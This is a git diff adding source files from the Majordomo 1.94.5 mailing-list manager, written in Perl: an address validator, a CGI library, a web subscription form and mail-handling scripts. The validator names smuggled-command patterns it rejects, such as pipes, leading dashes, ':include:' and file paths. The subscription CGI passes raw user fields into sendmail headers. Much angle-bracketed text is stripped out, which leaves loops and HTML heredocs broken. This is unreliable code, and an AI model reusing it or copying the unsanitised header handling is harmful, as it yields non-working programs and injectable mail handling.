&main'log("WARNING", "Illegal chars in address: $_"); + return undef; + } + + + # Deal with legal spaces in a stripped address, then check and reject + # any remaining space. Note that as I write this, the comment stripper + # ParseAddrs does not handle things like a quoted local part but I've + # included the correct routines just in case it ever does. + $temp = $_; + + # We assume that the comment stripper will have eaten leading and + # trailing space. + + # This mess turns "jason ti bb i tt s"@hpc.uh.edu into + # "jasontibbitts"@hpc.uh.edu + 1 while $temp =~ s/\"(.*)\s(.*)\"/\"$1$2\"/g; + + # This compresses space before dots or `@'s. " <- placate emacs' highlighting + 1 while $temp =~ s/\s(\.|@)/$1/g; + + # This compresses space after dots or `@'s. + 1 while $temp =~ s/(\.|@)\s/$1/g; + + # We've taken out all legitimate space from the address (yes, RFC822 + # permits that kind of bogosity), so if the address has spaces, we have + # a problem. + if ($temp =~ /\s/) { + if (-e main'REPLY) { + print main'REPLY <<"EOM"; +**** The address you supplied, $_ +**** does not seem to be a legal Internet address. You may have supplied +**** your full name instead of your address, or you may have included your +**** name along with your address in a manner that does not comply with +**** Internet standards for addresses. +**** It is also possible that you are using a mailer that wraps long lines +**** and the end of your request ended up on the following line. If the +**** latter is true, try using backslashes to split long lines. (Split the +**** line between words, then put a backslash at the end of all but the +**** last line.) + +EOM + } + &main'log("WARNING", "Illegal space in address: $_"); + return undef; + } + + # Addresses must have both an @ and a . + if (!(/\@/ && /\./)) { + if (-e main'REPLY) { + print main'REPLY <<"EOM"; +**** The address you supplied, $_ +**** is not a complete address. When providing an address, you must give +**** the full name of the machine including the domain part (like +**** host.corp.com), not just your user name or your name and the short +**** name of the machine (just user or user\@host is not legal). + +EOM + } + &main'log("WARNING", "Non-domained address: $_"); + return undef; + } + + + # o if there's a "|" in it, it's hostile + # o if there is a - sign at the front of the address, it may be an attempt + # to pass a flag to the MTA + # o bail if they're attempting to subscribe the list to itself + # + + print STDERR "$0: valid_addr: comparing '$addr' to '$list'\n" if $DEBUG; + + # XXX Should at least tell the user that there was a problem. + if ( /\|/ || /^-/ ) { + &main'abort("HOSTILE ADDRESS (invalid first char or |) $addr"); #' + return undef; + } + + # Some sendmails are dumb enough to do bad things with this + if (/\:include\:/) { + &main'abort("HOSTILE ADDRESS (tried to use :include: syntax) $addr"); #' + return undef; + } + + if ( $addr eq $list ) { + &main'abort("HOSTILE ADDRESS (tried to subscribe list) $addr"); # ' + return undef; + } + + # if the is a / in it, it may be an attempt to write to a file. + # or it may be an X.400, HP Openmail or some other dain bramaged + # address 8-(. We check this by breaking the address on '/'s + # and checking to see if the first component of the address + # exists. If it does we bounce it as a hostile address. + + # XXX Again, we shouldn't be aborting without telling the user + if ( m#/# ) { + local(@components) = ($_ =~ /([\/\@]?[^\/\@]+)/g); + + &main'abort("HOSTILE ADDRESS (path exists to /file) $addr") + if (-e "/$components[0]"); #' + &main'abort("HOSTILE ADDRESS (path exists to file) $addr") + if (-e "$components[0]"); #' + + # then as an extra check that can be turned off in the majordomo.cf + # file we make sure that the last component of the address has an + # @ sign on it for an X.400->smtp gateway translation. + + if (!$main'no_x400at) { + &main'abort("HOSTILE ADDRESS (no x400 \@) $addr") if ( + "$components[$#components]" !~ /\@/); #' + } + + # check to see that the c= and a[dm]= parts exist + if (!$main'no_true_x400) { + &main'abort("HOSTILE ADDRESS (no x400 c=) $addr") + if ($_ !~ m#/c=#); #' + &main'abort("HOSTILE ADDRESS (no x400 a[dm]=) $addr") + if ($_ !~ m#/a[dm]=#); #' + } + } + +print STDERR "$0: valid_addr: exit\n" if $DEBUG; + + return $_; +} + +# is this a valid filename? +sub main'valid_filename { + local($directory) = shift; + local($list) = shift; + local($suffix) = shift; + local($taint_filename) = shift; + local($clean_filename); + + # Safety check the filename. + if ($taint_filename =~ /^[\/.]|\.\.|[^-_0-9a-zA-Z.\/] /) { + return undef; + } else { + $clean_filename = $taint_filename; + } + if (! -f "$directory/$list$suffix/$clean_filename") { + return undef; + } + return "$directory/$list$suffix/$clean_filename"; +} + +# Chop any trailing newlines off of a string, and return the string +sub main'chop_nl { + if ($#_ >= $[) { + local($x) = shift; + $x =~ s/\n+$//; + return($x); + } else { + return(undef); + } +} + +# Perform simple filename globbing, so we don't have to use the <...> glib +# syntax which has caused problems. +sub main'fileglob { + local($dir) = shift; + local($pat) = shift; + local(@files) = (); + + opendir(DIR, $dir) || return undef; + @files = grep(/$pat/, readdir(DIR)); + grep($_ = "$dir/$_", @files); # perl4 doesn't have map! + + closedir(DIR); + + return @files; +} + +sub main'is_list_member { + local($subscriber, $listdir, $clean_list, $file) = @_; + local($matches) = 0; + local(*LIST); + local($_); + + print STDERR "is_list_member: enter\n" if $DEBUG; + + $file = "$listdir/$file" if defined $file && $file !~ m|^/|; + $file = "$listdir/$clean_list" unless defined $file; + print STDERR "is_list_member: checking $file for $subscriber\n" + if $DEBUG; + if (open(LIST, $file)) { + while () { + if (&main'addr_match($subscriber, $_, + (&main'cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + $matches++; + last; + } + } + close(LIST); + } + else { + &main'bitch("Can't read $file: $!"); #'""; + } + + print STDERR "is_list_member: exit $matches\n" if $DEBUG; + + return($matches); +} + +# From: pdc@lunch.engr.sgi.com (Paul Close) +# > Shouldn't list and list-digest be equivalent for things like +# > retrieval of files? As it stands now, if I subscribe to +# > foo-list-digest and I want to retrieve a file for foo-list or list the +# > members of foo-list, and foo-list is a private list for these +# > purposes, then I'm out of luck. +# +# I agree. The approach I took for solving this was to add a function called +# private_okay() to use instead of list_member() in cases where you wanted to +# restrict function to members of the list or list-digest. +# +# If restrict_post is defined, private_okay searches those lists, otherwise +# it searches list and list-digest. Anywhere majordomo consults a private_* +# variable, I use private_okay instead of list_member. Works quite nicely. +# +# Added in access checking mechanisms as well to replace +# private_XYZ with some flexability. This will be exanded to be +# more flexible than the current [open|list|closed] capability. +# --Chan 96/04/23 +# +sub main'access_check { + local($cmd, $subscriber,$listdir,$clean_list) = @_; + local(@lists,$list,$altlist,$total); + + print STDERR "access_check: enter\n" if $DEBUG; + + # bail right away if the command is disabled. + # + if ($main'config_opts{$clean_list, "${cmd}_access"} =~ /closed/) {#' + print STDERR "access_check: ${cmd}_access is closed.\n" if $DEBUG; + return 0 ; + } + + # bail right away if the command is wide open + # + if ($main'config_opts{$clean_list, "${cmd}_access"} =~ /open/) {#' + print STDERR "access_check: ${cmd}_access is open.\n" if $DEBUG; + return 1; + } + + # now check a little deeper. + # + if ( length($main'config_opts{$clean_list,'restrict_post'} )) { + @lists = split(/[:\s]+/, + $main'config_opts{$clean_list,'restrict_post'}); + } else { + if ($clean_list =~ /(.*)-digest/) { + $altlist = $1; + } else { + $altlist = "$clean_list-digest"; + } + @lists = ($clean_list); + push(@lists, $altlist) if -e "$listdir/$altlist"; + } + + print STDERR "access_check: checking lists " , join(', ', @lists), "\n" + if $DEBUG; + + $total = 0; + foreach $list (@lists) { + $total += &main'is_list_member($subscriber, $listdir, $clean_list, $list); + } + print STDERR "access_check: exit\n" if $DEBUG; + return $total; +} + +1; diff --git a/update/scripts/packages/majordomo-1.94.5/majordomo_version.pl b/update/scripts/packages/majordomo-1.94.5/majordomo_version.pl new file mode 100644 index 0000000..ec7c897 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/majordomo_version.pl @@ -0,0 +1,5 @@ +# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.28 2000/01/18 13:28:07 cwilson Exp $ + +$majordomo_version = "1.94.5"; +1; + diff --git a/update/scripts/packages/majordomo-1.94.5/md-sub/catdb b/update/scripts/packages/majordomo-1.94.5/md-sub/catdb new file mode 100644 index 0000000..0870a7f --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/md-sub/catdb @@ -0,0 +1,20 @@ +#!/usr/local/gnu/bin/perl +# +# catdb +# +# Author: John Orthoefer +# Date: 7 Jan 1996 +# +# Introduction +# This program dumps out a dbm file so you can see what the keys are and +# what the values are. + +dbmopen( %DB, "$ARGV[0]", 0666); + +foreach $i (keys %DB) { + print "$i = \"$DB{$i}\"\n"; +} + +dbmclose( DB); + +exit 0; diff --git a/update/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl b/update/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl new file mode 100644 index 0000000..4f44f64 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl @@ -0,0 +1,170 @@ +#!/usr/local/bin/perl -- -*- C -*- + +# Perl Routines to Manipulate CGI input +# S.E.Brenner@bioc.cam.ac.uk +# $Header: /sources/cvsrepos/majordomo/md-sub/cgi-lib.pl,v 1.1 1996/02/01 15:17:43 cwilson Exp $ +# +# Copyright 1994 Steven E. Brenner +# Unpublished work. +# Permission granted to use and modify this library so long as the +# copyright above is maintained, modifications are documented, and +# credit is given for any use of the library. +# +# Thanks are due to many people for reporting bugs and suggestions +# especially Meng Weng Wong, Maki Watanabe, Bo Frese Rasmussen, +# Andrew Dalke, Mark-Jason Dominus and Dave Dittrich. + +# For more information, see: +# http://www.bio.cam.ac.uk/web/form.html +# http://www.seas.upenn.edu/~mengwong/forms/ + +# Minimalist http form and script (http://www.bio.cam.ac.uk/web/minimal.cgi): +# +# require "cgi-lib.pl"; +# if (&ReadParse(*input)) { +# print &PrintHeader, &PrintVariables(%input); +# } else { +# print &PrintHeader,'
      Data: '; +#} + +# ReadParse +# Reads in GET or POST data, converts it to unescaped text, and puts +# one key=value in each member of the list "@in" +# Also creates key/value pairs in %in, using '\0' to separate multiple +# selections + +# Returns TRUE if there was input, FALSE if there was no input +# UNDEF may be used in the future to indicate some failure. + +# Now that cgi scripts can be put in the normal file space, it is useful +# to combine both the form and the script in one place. If no parameters +# are given (i.e., ReadParse returns FALSE), then a form could be output. + +# If a variable-glob parameter (e.g., *cgi_input) is passed to ReadParse, +# information is stored there, rather than in $in, @in, and %in. + +sub ReadParse { + local (*in) = @_ if @_; + local ($i, $key, $val); + + # Read in text + if (&MethGet) { + $in = $ENV{'QUERY_STRING'}; + } elsif ($ENV{'REQUEST_METHOD'} eq "POST") { + read(STDIN,$in,$ENV{'CONTENT_LENGTH'}); + } + + @in = split(/&/,$in); + + foreach $i (0 .. $#in) { + # Convert plus's to spaces + $in[$i] =~ s/\+/ /g; + + # Split into key and value. + ($key, $val) = split(/=/,$in[$i],2); # splits on the first =. + + # Convert %XX from hex numbers to alphanumeric + $key =~ s/%(..)/pack("c",hex($1))/ge; + $val =~ s/%(..)/pack("c",hex($1))/ge; + + # Associate key and value + $in{$key} .= "\0" if (defined($in{$key})); # \0 is the multiple separator + $in{$key} .= $val; + + } + + return length($in); +} + + +# PrintHeader +# Returns the magic line which tells WWW that we're an HTML document + +sub PrintHeader { + return "Content-type: text/html\n\n"; +} + + +# MethGet +# Return true if this cgi call was using the GET request, false otherwise + +sub MethGet { + return ($ENV{'REQUEST_METHOD'} eq "GET"); +} + +# MyURL +# Returns a URL to the script +sub MyURL { + return 'http://' . $ENV{'SERVER_NAME'} . $ENV{'SCRIPT_NAME'}; +} + +# CgiError +# Prints out an error message which which containes appropriate headers, +# markup, etcetera. +# Parameters: +# If no parameters, gives a generic error message +# Otherwise, the first parameter will be the title and the rest will +# be given as different paragraphs of the body + +sub CgiError { + local (@msg) = @_; + local ($i,$name); + + if (!@msg) { + $name = &MyURL; + @msg = ("Error: script $name encountered fatal error"); + }; + + print &PrintHeader; + print "$msg[0]\n"; + print "

      $msg[0]

      \n"; + foreach $i (1 .. $#msg) { + print "

      $msg[$i]

      \n"; + } + print "\n"; +} + +# PrintVariables +# Nicely formats variables in an associative array passed as a parameter +# And returns the HTML string. + +sub PrintVariables { + local (%in) = @_; + local ($old, $out, $output); + $old = $*; $* =1; + $output .= "
      "; + foreach $key (sort keys(%in)) { + foreach (split("\0", $in{$key})) { + ($out = $_) =~ s/\n/
      /g; + $output .= "
      $key
      $out
      "; + } + } + $output .= "
      "; + $* = $old; + + return $output; +} + +# PrintVariablesShort +# Nicely formats variables in an associative array passed as a parameter +# Using one line per pair (unless value is multiline) +# And returns the HTML string. + + +sub PrintVariablesShort { + local (%in) = @_; + local ($old, $out, $output); + $old = $*; $* =1; + foreach $key (sort keys(%in)) { + foreach (split("\0", $in{$key})) { + ($out = $_) =~ s/\n/
      /g; + $output .= "$key is $out
      "; + } + } + $* = $old; + + return $output; +} + +1; #return true + diff --git a/update/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi b/update/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi new file mode 100644 index 0000000..61f8289 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi @@ -0,0 +1,413 @@ +#!/usr/local/gnu/bin/perl +# +# md-sub.cgi +# +# Author: John Orthoefer +# Date: 17 Jan 1996 +# +# Introduction +# This cgi allows people web surfing to subscribe to mailing list. +# It presents the person with a form when called with out options. +# when called with options it will send a mail message to the +# mailing list. +# +# Installing +# To install this software: +# o put the script in the cgi-bin directory +# o set the following varables up for your site +# cgiloc - url of this script as refered to via the web +# listsdb - where the database of lists is going to live +# logfile - where the log for script activity should go +# sendmail - the sending e-mail program, it should have the +# option to read the incoming stream for the To +# address set, '-t' on sendmail. +# o initialize the database +# + list all your mailing lists and contact addresses in a file +# one per line as in +# firewalls majordomo@greatcircle.com +# warhammerfb majordomo@direwolf.com +# majordomo-workers majordomo@greatcircle.com +# default warhammerfb +# help webmaster@here.org +# +# note: there are 3 special names +# default -- This is the mailing list that will be +# selected when the form is first +# presented to the user. +# help -- This is the address for people to send +# help to. +# info -- This is used to specify a URL for information about +# a mailing list. +# the format is: +# info listname url +# where: listname matches a list that is specifed +# elsewhere in the file. +# url is some url on the web. +# + then run the the script with the '-C filename' option +# to construct the database. The create option will only +# add to the database. If you want to clear the database, +# you need to 'rm $listsdb*' (there will be two file a +# .dir and .pag file.) +# o add a link to the scripts URL in your web pages. +# + if you want to make different default mailing lists based on +# which pages you came from you can do this by passing the param +# default=listname +# as part of the URL. +# ie: +# This will cause mylist to be the default selected one instead of +# the database default. +# +# Misc +# This script needs two perl libs cgi-lib.pl (included in this +# distrubution.) and getopts.pl (which should be included with +# your perl distrubution.) +# +# Scalars that need to be changed +# +$cgiloc = "http://stout/~jco/md-sub.cgi"; +$listsdb = "/usr/jco/.md-subrc"; +$logfile = "/usr/jco/md-sub.log"; +#$sendmail = "|/usr/lib/sendmail -t"; +$sendmail = "|/usr/bin/cat - > /tmp/test.out"; # This one is for + # testing... + +# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +# NOTHING BELOW HERE SHOULD NEED TO BE CHANGED +# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +# +# Required file +require 'cgi-lib.pl'; +use Getopt::Std; + +# +# Version number +$version = "1.0"; + +# +# Info +$info = "jco\@direwolf.com"; + +# +# Call Getopts +getopts( 'C:v'); + +# +# Check to see if we are creating a DB +if ($opt_C) { + &create_lists( $opt_C); + exit 0; +} + +# +# Check to see if the version is being intergated. +if ($opt_v) { + print "Version: $version\n"; + exit 0; +} + +# +# Read the list DB +&load_lists; + +# +# Figure out if we have a filled in form or we need to send a form +if (&ReadParse && !defined( $in{ 'default'})) { + if (defined $in{ 'infopage'} ) { + &infopage; + } else { + $in{ 'mailing_list'} =~ s/\*$//; # drop the * at the end of the name. + &sendmessage; + } +} else { + &form; +} + +# +# Birthday party, cheesecake, jelly bean, boom! +# R.E.M. +exit 0; + +# +# create_lists +# Create the DBM file. +sub create_lists { + local( $file) = @_; + + open( LISTS, $file); + dbmopen( %MLRC, $listsdb, 0644); + + while( ) { + chop; + ($name, $address) = /(\S*)\s*(.*)/; + if ($name =~ /info/i) { + ($name, $address) = $address =~/(\S*)\s*(.*)/; + $MLRC{ "LISTINFO-$name"} = $address; + @info = (@info, $name); + } else { + @ml = (@ml, $name); + $MLRC{ "LISTNAME-$name"} = $address; + } + } + + $MLRC{ 'mailing-lists'} = join( ";", @ml); + $MLRC{ 'mailing-info'} = join( ";", @info); + dbmclose( MLRC); +} + +# +# load_lists +# read in the DBM file. +sub load_lists { + if (!dbmopen( %MLRC, $listsdb, undef)) { + &log( "Can't open $listsdb"); + exit 1; + } + + foreach $i (split(/;/, $MLRC{'mailing-lists'})) { + $ml{$i} = $MLRC{ "LISTNAME-$i"}; + } + + foreach $i (split(/;/, $MLRC{'mailing-info'})) { + $mi{$i} = $MLRC{ "LISTINFO-$i"}; + } + + dbmclose( MLRC); +} + +# +# form +# Present the form to the user to fill out +sub form { + +# Form header + print < +Mailing List Subscription + + +
      Mailing List Subscription Form
      +
      +
      + +To subscribe to any of these mailing lists all you need to do is fill +out the form compeletly. And submit it. The form will then be +processed and you should be added to the mailing list shortly.

      + +EOF + +if (defined %mi) { + print <here.

      + +EOF +} + +print < + +Mailing List: +EOF + +# Generate the list of mailing lists + print "\n"; + +# form trailer +print < +Real name:
      +E-mail Address:
      +
      +What action would you like to take? +

      +Subscribe +to the list
      +Unsubscribe from +the list
      +Have a list of who is on the list +mailed to you
      +Get a detailed description +of the list mailed to you
      +
      + + + + +
      +
      +Webmaster / +\n"; + foreach $i (keys %mi) { + print "
    3. $i\n"; + } + print "\n"; + +print < +
      +Webmaster / +>$logfile"); + + print LOG &DTG; + print LOG " - $msg\n"; + + close( LOG); + +} + +# +# DTG +# Date Time Group, This is a military thing. Express time in GMT (aka +# Zulu) it this kinda funky format (ddhhmmZ MON YY). I used it because +# it's a canned routine I have. +sub DTG { + local( $time) = @_; + local( @months) = ( 'JAN', 'FEB', 'MAR', 'APR', 'MAY', 'JUN', + 'JUL', 'AUG', 'SEP', 'OCT', 'NOV', 'DEC'); + + $time = time if ($time); + sprintf( "%2.2d%2.2d%2.2dZ %s %2.2d", + (gmtime( $time))[3], + (gmtime( $time))[2], + (gmtime( $time))[1], + @months[(gmtime( $time))[4]], + (gmtime( $time))[5]); +} + +# +# sendmessage +# This is the worker routine. Sends a nice HTML message to the user and +# sends a nice e-mail to the mailing list admin. +# +sub sendmessage { + local( $i); + + if ($in{ 'email'} eq "") { + print < + +
      SORRY

      +
      +I'm sorry but you must fill in your e-mail address. +Press "back" and try again. + +EOF + +exit 0; +} + $in{ 'email'} = "$in{ 'email'}@$ENV{'REMOTE_HOST'}" + if ( !( $in{ 'email'} =~ /\S*@\S*/)); + + &log( "<$in{ 'email'}> \"$in{ 'rname'}\" ". + "$in{ 'function'} $in{ 'mailing_list'}"); + + open( SM, "$sendmail"); + print SM < +Reply-To: "$in{ 'rname'}" <$in{'email'}> + +$in{ 'function'} $in{'mailing_list'} +EOF + close( SM); + +print < +Thank You + + +
      THANK YOU
      +

      +Your request has been forwarded to the list owner for processing. +You should be added soon. +
      + +If the list owner has any questions about adding you they should be in +touch with you shortly. +
      +
      +The following information will be sent for you: +
      +
      + +EOF + + print "To: $ml{$in {'mailing_list'}}
      \n"; + print "From: \"$in{ 'rname'}\" <$in{'email'}>

      \n"; + + print "$in{ 'function'} $in{'mailing_list'}
      \n"; + + print < + + +EOF + +} diff --git a/update/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample b/update/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample new file mode 100644 index 0000000..8ebbe7a --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample @@ -0,0 +1,9 @@ +warhammerfb majordomo@direwolf.com +warhammerfb-digest majordomo@direwolf.com +test jco@bbn.com +Firewalls majordomo@greatcircle.com +info Firewalls http://www.greatcircle.com/firewalls/ +info Firewalls-digest http://www.greatcircle.com/firewalls/ +Firewalls-digest majordomo@greatcircle.com +help webmaster@www.noname.org +default warhammerfb diff --git a/update/scripts/packages/majordomo-1.94.5/medit b/update/scripts/packages/majordomo-1.94.5/medit new file mode 100644 index 0000000..3fb7139 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/medit @@ -0,0 +1,61 @@ +#!/bin/perl + +# medit: lock and edit a Majordomo-managed file, then unlock when done. +# +# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/medit,v $ +# $Revision: 1.10 $ +# $Date: 1997/04/28 18:38:05 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "shlock.pl"; # NNTP-style file locking +require "majordomo.pl"; + +# Here's where the fun begins... + +(defined($listdir) && chdir "$listdir") + || die("can't access \$listdir $listdir"); + + +$editor = $ENV{"EDITOR"} || "vi"; + +foreach (@ARGV) { + $lockfile = $_; + $lockfile =~ s,([^/]*)$,L.$1,; + $shlock'waittime = 5; + for ($tries = 0 ; $tries < 60 ; $tries++) { + if (&set_lock($lockfile)) { + # got the lock + system("$editor $_"); + &free_lock($lockfile); + last; + } else { + print "Waiting for lock on $_...\n"; + } + } + if ($tries > 60) { + print "Giving up on lock for $_...\n"; + } +} diff --git a/update/scripts/packages/majordomo-1.94.5/request-answer b/update/scripts/packages/majordomo-1.94.5/request-answer new file mode 100644 index 0000000..56fb707 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/request-answer @@ -0,0 +1,145 @@ +#!/bin/perl + + +# $Source: /sources/cvsrepos/majordomo/request-answer,v $ +# $Revision: 1.15 $ +# $Date: 2000/01/07 11:10:18 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); +unshift(@INC, $homedir); +require "shlock.pl"; +require "majordomo.pl"; + +$majordomo_dont_reply = $majordomo_dont_reply + || '(mailer-daemon|uucp|listserv|majordomo)\@'; + +&ParseMailHeader(STDIN, *hdrs); +$reply_to = &RetMailAddr(*hdrs); +$reply_to = join(", ", &ParseAddrs($reply_to)); + +die("request-answer: $reply_to is not a valid return address.\n") + if (! &valid_addr($reply_to)); + +# robots should not reply to other robots... +if ($reply_to =~ m/$majordomo_dont_reply/i) { + &abort( "$whoami: not replying to $1 to avoid mail loop.\n"); +} + +$in_reply_to = $hdrs{"message-id"} . ", from " . $hdrs{"from"}; +$list = $ARGV[0]; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + +$sender = "$list-approval\@$whereami"; + +$mailcmd = eval qq/"$bounce_mailer"/; + +if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ',$mailcmd)) + unless $isParent; +} else { + &abort("Failed to fork prior to mailer exec"); +} + + +print MAIL <<"EOM"; +To: $reply_to +From: $list-request\@$whereami +Subject: Your mail to $list-request\@$whereami +In-Reply-To: $in_reply_to +Reply-To: $list-approval\@$whereami + +This pre-recorded message is being sent in response to your recent +email to $list-request\@$whereami. + +All routine administrative requests (including subscriptions and +unsubscriptions) concerning this mailing list are handled by an +automated server. Please read this message carefully to find the +information relevant to you. + +SUBSCRIBING +=========== + +To subscribe to $list, send the following in the body (not +the subject line) of an email message to "$whoami": + + subscribe $list + +This will subscribe the account from which you send the message to +the $list list. + +If you wish to subscribe another address instead (such as a local +redistribution list), you can use a command of the form: + + subscribe $list other-address\@your_site.your_net + +UNSUBSCRIBING +============= + +To unsubscribe from $list, send the following in the body (not +the subject line) of an email message to "$whoami": + + unsubscribe $list + +This will unsubscribe the account from which you send the message. +If you are subscribed with some other address, you'll have to send +a command of the following form instead: + + unsubscribe $list other-address\@your_site.your_net + +If you don't know what address you are subscribed with, you can send +the following command to see who else is on the list (assuming that +information isn't designated "private" by the owner of the list): + + who $list + +If you want to search non-private lists at this server, you can do that +by sending a command like: + + which string + +This will return a list of all entries on all lists that contain "string". + +HELP +==== + +To find out more about the automated server and the commands it +understands, send the following command to "$whoami": + + help + +If you feel you need to reach a human, send email to: + + $list-approval\@$whereami + +EOM + +close(MAIL); + +exit 0; diff --git a/update/scripts/packages/majordomo-1.94.5/resend b/update/scripts/packages/majordomo-1.94.5/resend new file mode 100644 index 0000000..91848ab --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/resend @@ -0,0 +1,970 @@ +#!/bin/perl +# $Modified: Fri Jan 7 16:32:17 2000 by cwilson $ + +# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/resend,v $ +# $Revision: 1.90 $ +# $Date: 2000/01/07 15:32:39 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# Okay, resend accepts many command line arguments, as revealed by the +# Getopts call: +# &Getopts("Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); +# Most of these are defined via the list config file, so in general, +# it's a really bad idea to hardcode them in the alias definition. +# In a future version of majordomo, these will likely all be removed. +# +# Here's a description of them, just to be documentive. Note that the +# only REQUIRED option is -l. Even that will probably go away in the future. +# +# -l REQUIRED: specify list name +# -h specify host name +# -f specify "sender" (default -request) +# -M specify max message length to forward +# -p add "Precedence: " header +# -r add "Reply-To: " header +# -I Bounce messages from users not listed in file +# in colon-separated +# -a approval password +# -A moderate list (require "Approved:" for posting) +# -R delete "Received:" lines +# -s enable "administrivia" checks +# -d debug; say it, but don't do it +# -C alternate config file +# + +#$DEBUG = 1; + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am resend +# The mj_ prefix is reserved for tools that are part of majordomo proper. +# (not that anything uses this variable.) +$main'program_name = 'mj_resend'; #'; + +# If the first argument is "@filename", read the real arguments +# from "filename", and shove them onto the ARGV for later processing +# by &Getopts() +# +if ($ARGV[0] =~ /^\@/) { + $fn = shift(@ARGV); + $fn =~ s/^@//; + open(AV, "< $fn" ) || die("open(AV, \"< $fn\"): $!\nStopped"); + undef($/); # set input field separator + $av = ; # read whole file into string + close(AV); + @av = split(/\s+/, $av); + unshift(@ARGV, @av); + $/ = "\n"; +} + +# Parse arguments here. We do this first so that we can conditionally +# evaluate code in majordomo.cf based on $opt_l (or any other command line +# argument). Here I've assumed that perl was installed correctly and +# getopts.pl was place where it's supposed to be. This changes previous +# behavior which allowed getopts.pl to be in the same place as +# majordomo.cf. +use Getopt::Std; + +getopts("C:c:Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); + +if (! defined($opt_l)) { + die("resend: must specify '-l list'"); +} + +# Read and execute the .cf file +$cf = $opt_C || $opt_c || $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +# Despite not having a place to send the remains of the body, +# it would be nice to send a message to root or postmaster, at least... +# +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); + +unshift(@INC, $homedir); +use POSIX qw(ctime); # For logging purposes +require "majordomo.pl"; +require "majordomo_version.pl"; +require "config_parse.pl"; + +# pickup hostname from majordomo.cf unless defined on the command line +$opt_h = $opt_h || $whereami; + +# smash case for the list name +$opt_l =~ tr/A-Z/a-z/; + +# We must set up the mailers and logging as soon possible so that we can +# send and log complaints and aborts somewhere. Unfortunately we need to +# parse the config file to get some of the variables. So we fake it here, +# and set them properly later. +# XXX It is possible that owner-$opt_l won't be the right address, but we +# have little choice. Sending the bounces to $whoami_owner is an option, +# but might not clearly indicate the list name. +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_mail_from("owner-$opt_l"); +&set_mail_sender("owner-$opt_l"); +&set_mailer($bounce_mailer); +&set_abort_addr("owner-$opt_l"); +&set_log($log, $opt_h, "resend", $opt_l); + +if (! defined ($TMPDIR)) { + &bitch("\$TMPDIR wasn't defined in $cf. Using /usr/tmp instead.\n". + "Please define in $cf.\n"); + $TMPDIR = '/usr/tmp'; +} + +# if we're running from a tty, just spit to stderr, else +# open up a temp file for the debug output. +# +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/resend.debug"); +} + +# XXX some standard way of setting defaults needs to be done.. +# +$MAX_HEADER_LINE_LENGTH = $MAX_HEADER_LINE_LENGTH || 128; +$MAX_TOTAL_HEADER_LENGTH = $MAX_TOTAL_HEADER_LENGTH || 1024; + +print STDERR "$0 [$$]: starting.\n" if $DEBUG; + +if ( ! @ARGV) { + die("resend: must specify outgoing list as last arg(s)"); + # this doesn't have to be this way. It could slurp it + # from the alias it was invoked as...? +} + +# A classic case of feeping creaturism. While there are possibly good reasons +# why all these things can be classified on the command line, there's +# *NO* good reason why everything is "opt_X". YATTF. +# +$opt_r = "$opt_r\@$opt_h" if ( defined($opt_r) ); + +&get_config($listdir, $opt_l); + +$opt_A = &cf_ck_bool($opt_l,"moderate") if 